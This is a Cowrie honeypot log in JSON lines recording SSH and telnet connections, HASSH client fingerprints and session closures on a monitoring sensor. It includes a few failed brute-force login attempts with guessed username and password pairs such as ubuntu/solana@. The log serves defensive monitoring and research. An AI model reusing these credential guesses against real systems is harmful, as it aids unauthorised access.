{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40940,"dst_ip":"10.17.0.5","dst_port":23,"session":"673a96047d8c","protocol":"telnet","message":"New connection: 64.227.101.30:40940 (10.17.0.5:23) [session: 673a96047d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:01.150729Z"}
{"eventid":"cowrie.session.closed","duration":42.8939905166626,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:01.167597Z","src_ip":"64.227.101.30","session":"fda80c1d05b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.84435510635376,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:03.621088Z","src_ip":"68.183.198.12","session":"3a8d6ce285f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":40030,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc188b0b049d","protocol":"ssh","message":"New connection: 103.170.173.26:40030 (10.17.0.5:22) [session: fc188b0b049d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:04.535335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:04.540518Z","src_ip":"103.170.173.26","session":"fc188b0b049d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:04.814754Z","src_ip":"103.170.173.26","session":"fc188b0b049d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"developer","message":"login attempt [user/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:05.933371Z","src_ip":"103.170.173.26","session":"fc188b0b049d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:07.209059Z","src_ip":"103.170.173.26","session":"fc188b0b049d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":41866,"dst_ip":"159.203.135.109","dst_port":22,"session":"be1fa14200ee","protocol":"ssh","message":"New connection: 200.118.150.20:41866 (159.203.135.109:22) [session: be1fa14200ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:11.183848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:11.188331Z","src_ip":"200.118.150.20","session":"be1fa14200ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:11.277923Z","src_ip":"200.118.150.20","session":"be1fa14200ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"faxserver","password":"faxserver","message":"login attempt [faxserver/faxserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:11.670875Z","src_ip":"200.118.150.20","session":"be1fa14200ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:12.765109Z","src_ip":"200.118.150.20","session":"be1fa14200ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.49325466156006,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:13.638605Z","src_ip":"64.227.101.30","session":"a36d3ce817bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.23010063171387,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:14.737635Z","src_ip":"64.227.101.30","session":"9e2a0ce6c5e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":15682,"dst_ip":"10.17.0.5","dst_port":22,"session":"5be43b2ebc9f","protocol":"ssh","message":"New connection: 194.59.206.2:15682 (10.17.0.5:22) [session: 5be43b2ebc9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:18.924886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:18.933246Z","src_ip":"194.59.206.2","session":"5be43b2ebc9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:19.023138Z","src_ip":"194.59.206.2","session":"5be43b2ebc9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:19.117556Z","src_ip":"194.59.206.2","session":"5be43b2ebc9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48772,"dst_ip":"10.17.0.5","dst_port":23,"session":"f559407aef09","protocol":"telnet","message":"New connection: 64.227.101.30:48772 (10.17.0.5:23) [session: f559407aef09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:20.329902Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":37930,"dst_ip":"159.203.135.109","dst_port":23,"session":"893a2397c766","protocol":"telnet","message":"New connection: 68.183.198.12:37930 (159.203.135.109:23) [session: 893a2397c766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:21.234572Z"}
{"eventid":"cowrie.session.closed","duration":3.9082298278808594,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:25.142672Z","src_ip":"68.183.198.12","session":"893a2397c766","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.47828984260559,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:26.727914Z","src_ip":"68.183.198.12","session":"0fc1cacdc352","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.787169218063354,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:30.776828Z","src_ip":"64.227.101.30","session":"369be33ca778","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":39592,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ac84b5688e5","protocol":"telnet","message":"New connection: 68.183.198.12:39592 (159.203.135.109:23) [session: 6ac84b5688e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:31.891888Z"}
{"eventid":"cowrie.session.closed","duration":43.61356544494629,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:32.457702Z","src_ip":"68.183.198.12","session":"2eb25004f432","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.21526503562927,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:35.365869Z","src_ip":"64.227.101.30","session":"673a96047d8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":40972,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e511a3b521f","protocol":"ssh","message":"New connection: 193.32.162.145:40972 (10.17.0.5:22) [session: 6e511a3b521f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:36.111975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:36.116830Z","src_ip":"193.32.162.145","session":"6e511a3b521f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.70395755767822,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:36.123893Z","src_ip":"64.227.101.30","session":"a5a0b24cfd90","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:36.228060Z","src_ip":"193.32.162.145","session":"6e511a3b521f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana@","message":"login attempt [ubuntu/solana@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:36.587123Z","src_ip":"193.32.162.145","session":"6e511a3b521f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:37.699264Z","src_ip":"193.32.162.145","session":"6e511a3b521f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54146,"dst_ip":"10.17.0.5","dst_port":23,"session":"4684ff1edd10","protocol":"telnet","message":"New connection: 64.227.101.30:54146 (10.17.0.5:23) [session: 4684ff1edd10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:41.998863Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":47316,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6f9ba1dc04f","protocol":"ssh","message":"New connection: 43.165.185.71:47316 (10.17.0.5:22) [session: a6f9ba1dc04f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:44.341516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:44.345927Z","src_ip":"43.165.185.71","session":"a6f9ba1dc04f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:44.520539Z","src_ip":"43.165.185.71","session":"a6f9ba1dc04f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1123","message":"login attempt [test1/test1123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:45.231309Z","src_ip":"43.165.185.71","session":"a6f9ba1dc04f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.15642595291138,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:45.545010Z","src_ip":"64.227.101.30","session":"0b27a33000e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:46.404835Z","src_ip":"43.165.185.71","session":"a6f9ba1dc04f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47294,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cef26f3d0eb","protocol":"telnet","message":"New connection: 64.227.101.30:47294 (10.17.0.5:23) [session: 4cef26f3d0eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:46.671093Z"}
{"eventid":"cowrie.session.closed","duration":0.004506587982177734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:46.675467Z","src_ip":"64.227.101.30","session":"4cef26f3d0eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56512,"dst_ip":"10.17.0.5","dst_port":23,"session":"021b281c29e3","protocol":"telnet","message":"New connection: 64.227.101.30:56512 (10.17.0.5:23) [session: 021b281c29e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:49.263729Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55198,"dst_ip":"10.17.0.5","dst_port":23,"session":"968978a8f458","protocol":"telnet","message":"New connection: 64.227.101.30:55198 (10.17.0.5:23) [session: 968978a8f458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:49.812417Z"}
{"eventid":"cowrie.session.closed","duration":0.005308389663696289,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:49.817600Z","src_ip":"64.227.101.30","session":"968978a8f458","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56936,"dst_ip":"10.17.0.5","dst_port":23,"session":"94ac6aecb684","protocol":"telnet","message":"New connection: 64.227.101.30:56936 (10.17.0.5:23) [session: 94ac6aecb684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:54.302155Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51556,"dst_ip":"10.17.0.5","dst_port":23,"session":"49f4e1e9d945","protocol":"telnet","message":"New connection: 64.227.101.30:51556 (10.17.0.5:23) [session: 49f4e1e9d945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:00.862382Z"}
{"eventid":"cowrie.session.closed","duration":0.005422353744506836,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:00.867693Z","src_ip":"64.227.101.30","session":"49f4e1e9d945","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53678,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b9ce760d57d","protocol":"telnet","message":"New connection: 64.227.101.30:53678 (10.17.0.5:23) [session: 7b9ce760d57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:11.984919Z"}
{"eventid":"cowrie.session.closed","duration":0.006268501281738281,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:11.991049Z","src_ip":"64.227.101.30","session":"7b9ce760d57d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":44230,"dst_ip":"159.203.135.109","dst_port":23,"session":"d35c68c467fe","protocol":"telnet","message":"New connection: 68.183.198.12:44230 (159.203.135.109:23) [session: d35c68c467fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:12.688595Z"}
{"eventid":"cowrie.session.closed","duration":0.2010486125946045,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:12.889531Z","src_ip":"68.183.198.12","session":"d35c68c467fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.09442090988159,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:16.986218Z","src_ip":"68.183.198.12","session":"6ac84b5688e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":46242,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7206e369b9f","protocol":"telnet","message":"New connection: 68.183.198.12:46242 (159.203.135.109:23) [session: b7206e369b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:18.248224Z"}
{"eventid":"cowrie.session.closed","duration":37.91426491737366,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:19.913014Z","src_ip":"64.227.101.30","session":"4684ff1edd10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.510778188705444,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:21.840583Z","src_ip":"64.227.101.30","session":"f559407aef09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00594758987427,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:27.202903Z","src_ip":"64.227.101.30","session":"b9aaac3ad7f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.64820170402527,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:31.911831Z","src_ip":"64.227.101.30","session":"021b281c29e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39708,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c86548d0836","protocol":"telnet","message":"New connection: 64.227.101.30:39708 (10.17.0.5:23) [session: 6c86548d0836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:32.802428Z"}
